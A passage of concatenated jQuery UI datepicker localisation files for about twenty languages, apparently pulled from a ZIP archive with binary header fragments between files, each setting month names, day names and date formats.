	dateFormat: "dd.mm.yy",
	firstDay: 1,
	isRTL: false,
	showMonthAfterYear: false,
	yearSuffix: ""
};
datepicker.setDefaults( datepicker.regional.nb );

return datepicker.regional.nb;

} );
PKh�\���X��)plugins/jqueryui/js/i18n/datepicker-it.jsnu�[���/* Italian initialisation for the jQuery UI date picker plugin. */
/* Written by Antonello Pasella (antonello.pasella@gmail.com). */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional.it = {
	closeText: "Chiudi",
	prevText: "Prec",
	nextText: "Succ",
	currentText: "Oggi",
	monthNames: [ "Gennaio", "Febbraio", "Marzo", "Aprile", "Maggio", "Giugno",
		"Luglio", "Agosto", "Settembre", "Ottobre", "Novembre", "Dicembre" ],
	monthNamesShort: [ "Gen", "Feb", "Mar", "Apr", "Mag", "Giu",
		"Lug", "Ago", "Set", "Ott", "Nov", "Dic" ],
	dayNames: [ "Domenica", "Lunedì", "Martedì", "Mercoledì", "Giovedì", "Venerdì", "Sabato" ],
	dayNamesShort: [ "Dom", "Lun", "Mar", "Mer", "Gio", "Ven", "Sab" ],
	dayNamesMin: [ "Do", "Lu", "Ma", "Me", "Gi", "Ve", "Sa" ],
	weekHeader: "Sm",
	dateFormat: "dd/mm/yy",
	firstDay: 1,
	isRTL: false,
	showMonthAfterYear: false,
	yearSuffix: "" };
datepicker.setDefaults( datepicker.regional.it );

return datepicker.regional.it;

} );
PKh�\�Y���)plugins/jqueryui/js/i18n/datepicker-nn.jsnu�[���/* Norwegian Nynorsk initialisation for the jQuery UI date picker plugin. */
/* Written by Bjørn Johansen (post@bjornjohansen.no). */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional.nn = {
	closeText: "Lukk",
	prevText: "Førre",
	nextText: "Neste",
	currentText: "I dag",
	monthNames: [
		"januar",
		"februar",
		"mars",
		"april",
		"mai",
		"juni",
		"juli",
		"august",
		"september",
		"oktober",
		"november",
		"desember"
	],
	monthNamesShort: [ "jan", "feb", "mar", "apr", "mai", "jun", "jul", "aug", "sep", "okt", "nov", "des" ],
	dayNamesShort: [ "sun", "mån", "tys", "ons", "tor", "fre", "lau" ],
	dayNames: [ "sundag", "måndag", "tysdag", "onsdag", "torsdag", "fredag", "laurdag" ],
	dayNamesMin: [ "su", "må", "ty", "on", "to", "fr", "la" ],
	weekHeader: "Veke",
	dateFormat: "dd.mm.yy",
	firstDay: 1,
	isRTL: false,
	showMonthAfterYear: false,
	yearSuffix: ""
};
datepicker.setDefaults( datepicker.regional.nn );

return datepicker.regional.nn;

} );
PKh�\��m��)plugins/jqueryui/js/i18n/datepicker-rm.jsnu�[���/* Romansh initialisation for the jQuery UI date picker plugin. */
/* Written by Yvonne Gienal (yvonne.gienal@educa.ch). */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional.rm = {
	closeText: "Serrar",
	prevText: "Suandant",
	nextText: "Precedent",
	currentText: "Actual",
	monthNames: [
		"Schaner",
		"Favrer",
		"Mars",
		"Avrigl",
		"Matg",
		"Zercladur",
		"Fanadur",
		"Avust",
		"Settember",
		"October",
		"November",
		"December"
	],
	monthNamesShort: [
		"Scha",
		"Fev",
		"Mar",
		"Avr",
		"Matg",
		"Zer",
		"Fan",
		"Avu",
		"Sett",
		"Oct",
		"Nov",
		"Dec"
	],
	dayNames: [ "Dumengia", "Glindesdi", "Mardi", "Mesemna", "Gievgia", "Venderdi", "Sonda" ],
	dayNamesShort: [ "Dum", "Gli", "Mar", "Mes", "Gie", "Ven", "Som" ],
	dayNamesMin: [ "Du", "Gl", "Ma", "Me", "Gi", "Ve", "So" ],
	weekHeader: "emna",
	dateFormat: "dd/mm/yy",
	firstDay: 1,
	isRTL: false,
	showMonthAfterYear: false,
	yearSuffix: "" };
datepicker.setDefaults( datepicker.regional.rm );

return datepicker.regional.rm;

} );
PKh�\�=3���)plugins/jqueryui/js/i18n/datepicker-eu.jsnu�[���/* Karrikas-ek itzulia (karrikas@karrikas.com) */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional.eu = {
	closeText: "Egina",
	prevText: "Aur",
	nextText: "Hur",
	currentText: "Gaur",
	monthNames: [ "urtarrila", "otsaila", "martxoa", "apirila", "maiatza", "ekaina",
		"uztaila", "abuztua", "iraila", "urria", "azaroa", "abendua" ],
	monthNamesShort: [ "urt.", "ots.", "mar.", "api.", "mai.", "eka.",
		"uzt.", "abu.", "ira.", "urr.", "aza.", "abe." ],
	dayNames: [ "igandea", "astelehena", "asteartea", "asteazkena", "osteguna", "ostirala", "larunbata" ],
	dayNamesShort: [ "ig.", "al.", "ar.", "az.", "og.", "ol.", "lr." ],
	dayNamesMin: [ "ig", "al", "ar", "az", "og", "ol", "lr" ],
	weekHeader: "As",
	dateFormat: "yy-mm-dd",
	firstDay: 1,
	isRTL: false,
	showMonthAfterYear: false,
	yearSuffix: "" };
datepicker.setDefaults( datepicker.regional.eu );

return datepicker.regional.eu;

} );
PKh�\ad�ss)plugins/jqueryui/js/i18n/datepicker-tj.jsnu�[���/* Tajiki (UTF-8) initialisation for the jQuery UI date picker plugin. */
/* Written by Abdurahmon Saidov (saidovab@gmail.com). */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional.tj = {
	closeText: "Идома",
	prevText: "Қафо",
	nextText: "Пеш",
	currentText: "Имрӯз",
	monthNames: [ "Январ", "Феврал", "Март", "Апрел", "Май", "Июн",
	"Июл", "Август", "Сентябр", "Октябр", "Ноябр", "Декабр" ],
	monthNamesShort: [ "Янв", "Фев", "Мар", "Апр", "Май", "Июн",
	"Июл", "Авг", "Сен", "Окт", "Ноя", "Дек" ],
	dayNames: [ "якшанбе", "душанбе", "сешанбе", "чоршанбе", "панҷшанбе", "ҷумъа", "шанбе" ],
	dayNamesShort: [ "якш", "душ", "сеш", "чор", "пан", "ҷум", "шан" ],
	dayNamesMin: [ "Як", "Дш", "Сш", "Чш", "Пш", "Ҷм", "Шн" ],
	weekHeader: "Хф",
	dateFormat: "dd.mm.yy",
	firstDay: 1,
	isRTL: false,
	showMonthAfterYear: false,
	yearSuffix: "" };
datepicker.setDefaults( datepicker.regional.tj );

return datepicker.regional.tj;

} );
PKh�\A��,plugins/jqueryui/js/i18n/datepicker-ar-DZ.jsnu�[���/* Algerian Arabic Translation for jQuery UI date picker plugin.
/* Used in most of Maghreb countries, primarily in Algeria, Tunisia, Morocco.
/* Mohamed Cherif BOUCHELAGHEM -- cherifbouchelaghem@yahoo.fr */
/* Mohamed Amine HADDAD -- zatamine@gmail.com */

( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional[ "ar-DZ" ] = {
	closeText: "إغلاق",
	prevText: "السابق",
	nextText: "التالي",
	currentText: "اليوم",
	monthNames: [ "جانفي", "فيفري", "مارس", "أفريل", "ماي", "جوان",
	"جويلية", "أوت", "سبتمبر", "أكتوبر", "نوفمبر", "ديسمبر" ],
	monthNamesShort: [ "1", "2", "3", "4", "5", "6", "7", "8", "9", "10", "11", "12" ],
	dayNames: [ "الأحد", "الاثنين", "الثلاثاء", "الأربعاء", "الخميس", "الجمعة", "السبت" ],
	dayNamesShort: [ "الأحد", "الاثنين", "الثلاثاء", "الأربعاء", "الخميس", "الجمعة", "السبت" ],
	dayNamesMin: [ "ح", "ن", "ث", "ر", "خ", "ج", "س" ],
	weekHeader: "أسبوع",
	dateFormat: "dd/mm/yy",
	firstDay: 6,
		isRTL: true,
	showMonthAfterYear: false,
	yearSuffix: "" };
datepicker.setDefaults( datepicker.regional[ "ar-DZ" ] );

return datepicker.regional[ "ar-DZ" ];

} );
PKh�\�&��)plugins/jqueryui/js/i18n/datepicker-de.jsnu�[���/* German initialisation for the jQuery UI date picker plugin. */
/* Written by Milian Wolff (mail@milianw.de). */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional.de = {
	closeText: "Schließen",
	prevText: "Zurück",
	nextText: "Vor",
	currentText: "Heute",
	monthNames: [ "Januar", "Februar", "März", "April", "Mai", "Juni",
	"Juli", "August", "September", "Oktober", "November", "Dezember" ],
	monthNamesShort: [ "Jan", "Feb", "Mär", "Apr", "Mai", "Jun",
	"Jul", "Aug", "Sep", "Okt", "Nov", "Dez" ],
	dayNames: [ "Sonntag", "Montag", "Dienstag", "Mittwoch", "Donnerstag", "Freitag", "Samstag" ],
	dayNamesShort: [ "So", "Mo", "Di", "Mi", "Do", "Fr", "Sa" ],
	dayNamesMin: [ "So", "Mo", "Di", "Mi", "Do", "Fr", "Sa" ],
	weekHeader: "KW",
	dateFormat: "dd.mm.yy",
	firstDay: 1,
	isRTL: false,
	showMonthAfterYear: false,
	yearSuffix: "" };
datepicker.setDefaults( datepicker.regional.de );

return datepicker.regional.de;

} );
PKh�\r�jCC)plugins/jqueryui/js/i18n/datepicker-ta.jsnu�[���/* Tamil (UTF-8) initialisation for the jQuery UI date picker plugin. */
/* Written by S A Sureshkumar (saskumar@live.com). */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional.ta = {
	closeText: "மூடு",
	prevText: "முன்னையது",
	nextText: "அடுத்தது",
	currentText: "இன்று",
	monthNames: [ "தை", "மாசி", "பங்குனி", "சித்திரை", "வைகாசி", "ஆனி",
	"ஆடி", "ஆவணி", "புரட்டாசி", "ஐப்பசி", "கார்த்திகை", "மார்கழி" ],
	monthNamesShort: [ "தை", "மாசி", "பங்", "சித்", "வைகா", "ஆனி",
	"ஆடி", "ஆவ", "புர", "ஐப்", "கார்", "மார்" ],
	dayNames: [
		"ஞாயிற்றுக்கிழமை",
		"திங்கட்கிழமை",
		"செவ்வாய்க்கிழமை",
		"புதன்கிழமை",
		"வியாழக்கிழமை",
		"வெள்ளிக்கிழமை",
		"சனிக்கிழமை"
	],
	dayNamesShort: [
		"ஞாயிறு",
		"திங்கள்",
		"செவ்வாய்",
		"புதன்",
		"வியாழன்",
		"வெள்ளி",
		"சனி"
	],
	dayNamesMin: [ "ஞா", "தி", "செ", "பு", "வி", "வெ", "ச" ],
	weekHeader: "Не",
	dateFormat: "dd/mm/yy",
	firstDay: 1,
	isRTL: false,
	showMonthAfterYear: false,
	yearSuffix: "" };
datepicker.setDefaults( datepicker.regional.ta );

return datepicker.regional.ta;

} );
PKh�\�GE�//)plugins/jqueryui/js/i18n/datepicker-th.jsnu�[���/* Thai initialisation for the jQuery UI date picker plugin. */
/* Written by pipo (pipo@sixhead.com). */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional.th = {
	closeText: "ปิด",
	prevText: "ย้อน",
	nextText: "ถัดไป",
	currentText: "วันนี้",
	monthNames: [ "มกราคม", "กุมภาพันธ์", "มีนาคม", "เมษายน", "พฤษภาคม", "มิถุนายน",
	"กรกฎาคม", "สิงหาคม", "กันยายน", "ตุลาคม", "พฤศจิกายน", "ธันวาคม" ],
	monthNamesShort: [ "ม.ค.", "ก.พ.", "มี.ค.", "เม.ย.", "พ.ค.", "มิ.ย.",
	"ก.ค.", "ส.ค.", "ก.ย.", "ต.ค.", "พ.ย.", "ธ.ค." ],
	dayNames: [ "อาทิตย์", "จันทร์", "อังคาร", "พุธ", "พฤหัสบดี", "ศุกร์", "เสาร์" ],
	dayNamesShort: [ "อา.", "จ.", "อ.", "พ.", "พฤ.", "ศ.", "ส." ],
	dayNamesMin: [ "อา.", "จ.", "อ.", "พ.", "พฤ.", "ศ.", "ส." ],
	weekHeader: "Wk",
	dateFormat: "dd/mm/yy",
	firstDay: 0,
	isRTL: false,
	showMonthAfterYear: false,
	yearSuffix: "" };
datepicker.setDefaults( datepicker.regional.th );

return datepicker.regional.th;

} );
PKh�\��>Umm)plugins/jqueryui/js/i18n/datepicker-km.jsnu�[���/* Khmer initialisation for the jQuery calendar extension. */
/* Written by Chandara Om (chandara.teacher@gmail.com). */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional.km = {
	closeText: "ធ្វើ​រួច",
	prevText: "មុន",
	nextText: "បន្ទាប់",
	currentText: "ថ្ងៃ​នេះ",
	monthNames: [ "មករា", "កុម្ភៈ", "មីនា", "មេសា", "ឧសភា", "មិថុនា",
	"កក្កដា", "សីហា", "កញ្ញា", "តុលា", "វិច្ឆិកា", "ធ្នូ" ],
	monthNamesShort: [ "មករា", "កុម្ភៈ", "មីនា", "មេសា", "ឧសភា", "មិថុនា",
	"កក្កដា", "សីហា", "កញ្ញា", "តុលា", "វិច្ឆិកា", "ធ្នូ" ],
	dayNames: [ "អាទិត្យ", "ចន្ទ", "អង្គារ", "ពុធ", "ព្រហស្បតិ៍", "សុក្រ", "សៅរ៍" ],
	dayNamesShort: [ "អា", "ច", "អ", "ពុ", "ព្រហ", "សុ", "សៅ" ],
	dayNamesMin: [ "អា", "ច", "អ", "ពុ", "ព្រហ", "សុ", "សៅ" ],
	weekHeader: "សប្ដាហ៍",
	dateFormat: "dd-mm-yy",
	firstDay: 1,
	isRTL: false,
	showMonthAfterYear: false,
	yearSuffix: "" };
datepicker.setDefaults( datepicker.regional.km );

return datepicker.regional.km;

} );
PKh�\v���)plugins/jqueryui/js/i18n/datepicker-az.jsnu�[���/* Azerbaijani (UTF-8) initialisation for the jQuery UI date picker plugin. */
/* Written by Jamil Najafov (necefov33@gmail.com). */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional.az = {
	closeText: "Bağla",
	prevText: "Geri",
	nextText: "İrəli",
	currentText: "Bugün",
	monthNames: [ "Yanvar", "Fevral", "Mart", "Aprel", "May", "İyun",
	"İyul", "Avqust", "Sentyabr", "Oktyabr", "Noyabr", "Dekabr" ],
	monthNamesShort: [ "Yan", "Fev", "Mar", "Apr", "May", "İyun",
	"İyul", "Avq", "Sen", "Okt", "Noy", "Dek" ],
	dayNames: [ "Bazar", "Bazar ertəsi", "Çərşənbə axşamı", "Çərşənbə", "Cümə axşamı", "Cümə", "Şənbə" ],
	dayNamesShort: [ "B", "Be", "Ça", "Ç", "Ca", "C", "Ş" ],
	dayNamesMin: [ "B", "B", "Ç", "С", "Ç", "C", "Ş" ],
	weekHeader: "Hf",
	dateFormat: "dd.mm.yy",
	firstDay: 1,
	isRTL: false,
	showMonthAfterYear: false,
	yearSuffix: "" };
datepicker.setDefaults( datepicker.regional.az );

return datepicker.regional.az;

} );
PKh�\�;���)plugins/jqueryui/js/i18n/datepicker-pt.jsnu�[���/* Portuguese initialisation for the jQuery UI date picker plugin. */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional.pt = {
	closeText: "Fechar",
	prevText: "Anterior",
	nextText: "Seguinte",
	currentText: "Hoje",
	monthNames: [ "Janeiro", "Fevereiro", "Março", "Abril", "Maio", "Junho",
	"Julho", "Agosto", "Setembro", "Outubro", "Novembro", "Dezembro" ],
	monthNamesShort: [ "Jan", "Fev", "Mar", "Abr", "Mai", "Jun",
	"Jul", "Ago", "Set", "Out", "Nov", "Dez" ],
	dayNames: [
		"Domingo",
		"Segunda-feira",
		"Terça-feira",
		"Quarta-feira",
		"Quinta-feira",
		"Sexta-feira",
		"Sábado"
	],
	dayNamesShort: [ "Dom", "Seg", "Ter", "Qua", "Qui", "Sex", "Sáb" ],
	dayNamesMin: [ "Dom", "Seg", "Ter", "Qua", "Qui", "Sex", "Sáb" ],
	weekHeader: "Sem",
	dateFormat: "dd/mm/yy",
	firstDay: 1,
	isRTL: false,
	showMonthAfterYear: false,
	yearSuffix: "" };
datepicker.setDefaults( datepicker.regional.pt );

return datepicker.regional.pt;

} );
PKh�\����)plugins/jqueryui/js/i18n/datepicker-ky.jsnu�[���/* Kyrgyz (UTF-8) initialisation for the jQuery UI date picker plugin. */
/* Written by Sergey Kartashov (ebishkek@yandex.ru). */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional.ky = {
	closeText: "Жабуу",
	prevText: "Мур",
	nextText: "Кий",
	currentText: "Бүгүн",
	monthNames: [ "Январь", "Февраль", "Март", "Апрель", "Май", "Июнь",
	"Июль", "Август", "Сентябрь", "Октябрь", "Ноябрь", "Декабрь" ],
	monthNamesShort: [ "Янв", "Фев", "Мар", "Апр", "Май", "Июн",
	"Июл", "Авг", "Сен", "Окт", "Ноя", "Дек" ],
	dayNames: [ "жекшемби", "дүйшөмбү", "шейшемби", "шаршемби", "бейшемби", "жума", "ишемби" ],
	dayNamesShort: [ "жек", "дүй", "шей", "шар", "бей", "жум", "ише" ],
	dayNamesMin: [ "Жк", "Дш", "Шш", "Шр", "Бш", "Жм", "Иш" ],
	weekHeader: "Жум",
	dateFormat: "dd.mm.yy",
	firstDay: 1,
	isRTL: false,
	showMonthAfterYear: false,
	yearSuffix: ""
};
datepicker.setDefaults( datepicker.regional.ky );

return datepicker.regional.ky;

} );
PKh�\j�����)plugins/jqueryui/js/i18n/datepicker-ka.jsnu�[���/* Georgian (UTF-8) initialisation for the jQuery UI date picker plugin. */
/* Written by Lado Lomidze (lado.lomidze@gmail.com). */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional.ka = {
	closeText: "დახურვა",
	prevText: "წინა",
	nextText: "შემდეგი ",
	currentText: "დღეს",
	monthNames: [
		"იანვარი",
		"თებერვალი",
		"მარტი",
		"აპრილი",
		"მაისი",
		"ივნისი",
		"ივლისი",
		"აგვისტო",
		"სექტემბერი",
		"ოქტომბერი",
		"ნოემბერი",
		"დეკემბერი"
	],
	monthNamesShort: [ "იან", "თებ", "მარ", "აპრ", "მაი", "ივნ", "ივლ", "აგვ", "სექ", "ოქტ", "ნოე", "დეკ" ],
	dayNames: [ "კვირა", "ორშაბათი", "სამშაბათი", "ოთხშაბათი", "ხუთშაბათი", "პარასკევი", "შაბათი" ],
	dayNamesShort: [ "კვ", "ორშ", "სამ", "ოთხ", "ხუთ", "პარ", "შაბ" ],
	dayNamesMin: [ "კვ", "ორშ", "სამ", "ოთხ", "ხუთ", "პარ", "შაბ" ],
	weekHeader: "კვირა",
	dateFormat: "dd-mm-yy",
	firstDay: 1,
	isRTL: false,
	showMonthAfterYear: false,
	yearSuffix: "" };
datepicker.setDefaults( datepicker.regional.ka );

return datepicker.regional.ka;

} );
PKh�\lV/b��,plugins/jqueryui/js/i18n/datepicker-de-AT.jsnu�[���/* German/Austrian initialisation for the jQuery UI date picker plugin. */
/* Based on the de initialisation. */

( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional[ "de-AT" ] = {
	closeText: "Schließen",
	prevText: "Zurück",
	nextText: "Vor",
	currentText: "Heute",
	monthNames: [ "Jänner", "Februar", "März", "April", "Mai", "Juni",
	"Juli", "August", "September", "Oktober", "November", "Dezember" ],
	monthNamesShort: [ "Jän", "Feb", "Mär", "Apr", "Mai", "Jun",
	"Jul", "Aug", "Sep", "Okt", "Nov", "Dez" ],
	dayNames: [ "Sonntag", "Montag", "Dienstag", "Mittwoch", "Donnerstag", "Freitag", "Samstag" ],
	dayNamesShort: [ "So", "Mo", "Di", "Mi", "Do", "Fr", "Sa" ],
	dayNamesMin: [ "So", "Mo", "Di", "Mi", "Do", "Fr", "Sa" ],
	weekHeader: "KW",
	dateFormat: "dd.mm.yy",
	firstDay: 1,
	isRTL: false,
	showMonthAfterYear: false,
	yearSuffix: "" };
datepicker.setDefaults( datepicker.regional[ "de-AT" ] );

return datepicker.regional[ "de-AT" ];

} );
PKh�\������)plugins/jqueryui/js/i18n/datepicker-cs.jsnu�[���/* Czech initialisation for the jQuery UI date picker plugin. */
/* Written by Tomas Muller (tomas@tomas-muller.net). */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional.cs = {
	closeText: "Zavřít",
	prevText: "Dříve",
	nextText: "Později",
	currentText: "Nyní",
	monthNames: [ "leden", "únor", "březen", "duben", "květen", "červen",
	"červenec", "srpen", "září", "říjen", "listopad", "prosinec" ],
	monthNamesShort: [ "led", "úno", "bře", "dub", "kvě", "čer",
	"čvc", "srp", "zář", "říj", "lis", "pro" ],
	dayNames: [ "neděle", "pondělí", "úterý", "středa", "čtvrtek", "pátek", "sobota" ],
	dayNamesShort: [ "ne", "po", "út", "st", "čt", "pá", "so" ],
	dayNamesMin: [ "ne", "po", "út", "st", "čt", "pá", "so" ],
	weekHeader: "Týd",
	dateFormat: "dd.mm.yy",
	firstDay: 1,
	isRTL: false,
	showMonthAfterYear: false,
	yearSuffix: "" };
datepicker.setDefaults( datepicker.regional.cs );

return datepicker.regional.cs;

} );
PKh�\�����)plugins/jqueryui/js/i18n/datepicker-kk.jsnu�[���/* Kazakh (UTF-8) initialisation for the jQuery UI date picker plugin. */
/* Written by Dmitriy Karasyov (dmitriy.karasyov@gmail.com). */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional.kk = {
	closeText: "Жабу",
	prevText: "Алдыңғы",
	nextText: "Келесі",
	currentText: "Бүгін",
	monthNames: [ "Қаңтар", "Ақпан", "Наурыз", "Сәуір", "Мамыр", "Маусым",
	"Шілде", "Тамыз", "Қыркүйек", "Қазан", "Қараша", "Желтоқсан" ],
	monthNamesShort: [ "Қаң", "Ақп", "Нау", "Сәу", "Мам", "Мау",
	"Шіл", "Там", "Қыр", "Қаз", "Қар", "Жел" ],
	dayNames: [ "Жексенбі", "Дүйсенбі", "Сейсенбі", "Сәрсенбі", "Бейсенбі", "Жұма", "Сенбі" ],
	dayNamesShort: [ "жкс", "дсн", "ссн", "срс", "бсн", "жма", "снб" ],
	dayNamesMin: [ "Жк", "Дс", "Сс", "Ср", "Бс", "Жм", "Сн" ],
	weekHeader: "Не",
	dateFormat: "dd.mm.yy",
	firstDay: 1,
	isRTL: false,
	showMonthAfterYear: false,
	yearSuffix: "" };
datepicker.setDefaults( datepicker.regional.kk );

return datepicker.regional.kk;

} );
PKh�\u����)plugins/jqueryui/js/i18n/datepicker-lb.jsnu�[���/* Luxembourgish initialisation for the jQuery UI date picker plugin. */
/* Written by Michel Weimerskirch <michel@weimerskirch.net> */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional.lb = {
	closeText: "Fäerdeg",
	prevText: "Zréck",
	nextText: "Weider",
	currentText: "Haut",
	monthNames: [ "Januar", "Februar", "Mäerz", "Abrëll", "Mee", "Juni",
	"Juli", "August", "September", "Oktober", "November", "Dezember" ],
	monthNamesShort: [ "Jan", "Feb", "Mäe", "Abr", "Mee", "Jun",
	"Jul", "Aug", "Sep", "Okt", "Nov", "Dez" ],
	dayNames: [
		"Sonndeg",
		"Méindeg",
		"Dënschdeg",
		"Mëttwoch",
		"Donneschdeg",
		"Freideg",
		"Samschdeg"
	],
	dayNamesShort: [ "Son", "Méi", "Dën", "Mët", "Don", "Fre", "Sam" ],
	dayNamesMin: [ "So", "Mé", "Dë", "Më", "Do", "Fr", "Sa" ],
	weekHeader: "W",
	dateFormat: "dd.mm.yy",
	firstDay: 1,
	isRTL: false,
	showMonthAfterYear: false,
	yearSuffix: "" };
datepicker.setDefaults( datepicker.regional.lb );

return datepicker.regional.lb;

} );
PKh�\�|����)plugins/jqueryui/js/i18n/datepicker-ja.jsnu�[���/* Japanese initialisation for the jQuery UI date picker plugin. */
/* Written by Kentaro SATO (kentaro@ranvis.com). */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional.ja = {
	closeText: "閉じる",
	prevText: "前",
	nextText: "次",
	currentText: "今日",
	monthNames: [ "1月", "2月", "3月", "4月", "5月", "6月",
	"7月", "8月", "9月", "10月", "11月", "12月" ],
	monthNamesShort: [ "1月", "2月", "3月", "4月", "5月", "6月",
	"7月", "8月", "9月", "10月", "11月", "12月" ],
	dayNames: [ "日曜日", "月曜日", "火曜日", "水曜日", "木曜日", "金曜日", "土曜日" ],
	dayNamesShort: [ "日", "月", "火", "水", "木", "金", "土" ],
	dayNamesMin: [ "日", "月", "火", "水", "木", "金", "土" ],
	weekHeader: "週",
	dateFormat: "yy/mm/dd",
	firstDay: 0,
	isRTL: false,
	showMonthAfterYear: true,
	yearSuffix: "年" };
datepicker.setDefaults( datepicker.regional.ja );

return datepicker.regional.ja;

} );
PKh�\N;���)plugins/jqueryui/js/i18n/datepicker-fi.jsnu�[���/* Finnish initialisation for the jQuery UI date picker plugin. */
/* Written by Harri Kilpiö (harrikilpio@gmail.com). */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional.fi = {
	closeText: "Sulje",
	prevText: "Edellinen",
	nextText: "Seuraava",
	currentText: "Tänään",
	monthNames: [ "Tammikuu", "Helmikuu", "Maaliskuu", "Huhtikuu", "Toukokuu", "Kesäkuu",
	"Heinäkuu", "Elokuu", "Syyskuu", "Lokakuu", "Marraskuu", "Joulukuu" ],
	monthNamesShort: [ "Tammi", "Helmi", "Maalis", "Huhti", "Touko", "Kesä",
	"Heinä", "Elo", "Syys", "Loka", "Marras", "Joulu" ],
	dayNamesShort: [ "Su", "Ma", "Ti", "Ke", "To", "Pe", "La" ],
	dayNames: [ "Sunnuntai", "Maanantai", "Tiistai", "Keskiviikko", "Torstai", "Perjantai", "Lauantai" ],
	dayNamesMin: [ "Su", "Ma", "Ti", "Ke", "To", "Pe", "La" ],
	weekHeader: "Vk",
	dateFormat: "d.m.yy",
	firstDay: 1,
	isRTL: false,
	showMonthAfterYear: false,
	yearSuffix: "" };
datepicker.setDefaults( datepicker.regional.fi );

return datepicker.regional.fi;

} );
PKh�\1#r��)plugins/jqueryui/js/i18n/datepicker-sk.jsnu�[���/* Slovak initialisation for the jQuery UI date picker plugin. */
/* Written by Vojtech Rinik (vojto@hmm.sk). */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional.sk = {
	closeText: "Zavrieť",
	prevText: "Predchádzajúci",
	nextText: "Nasledujúci",
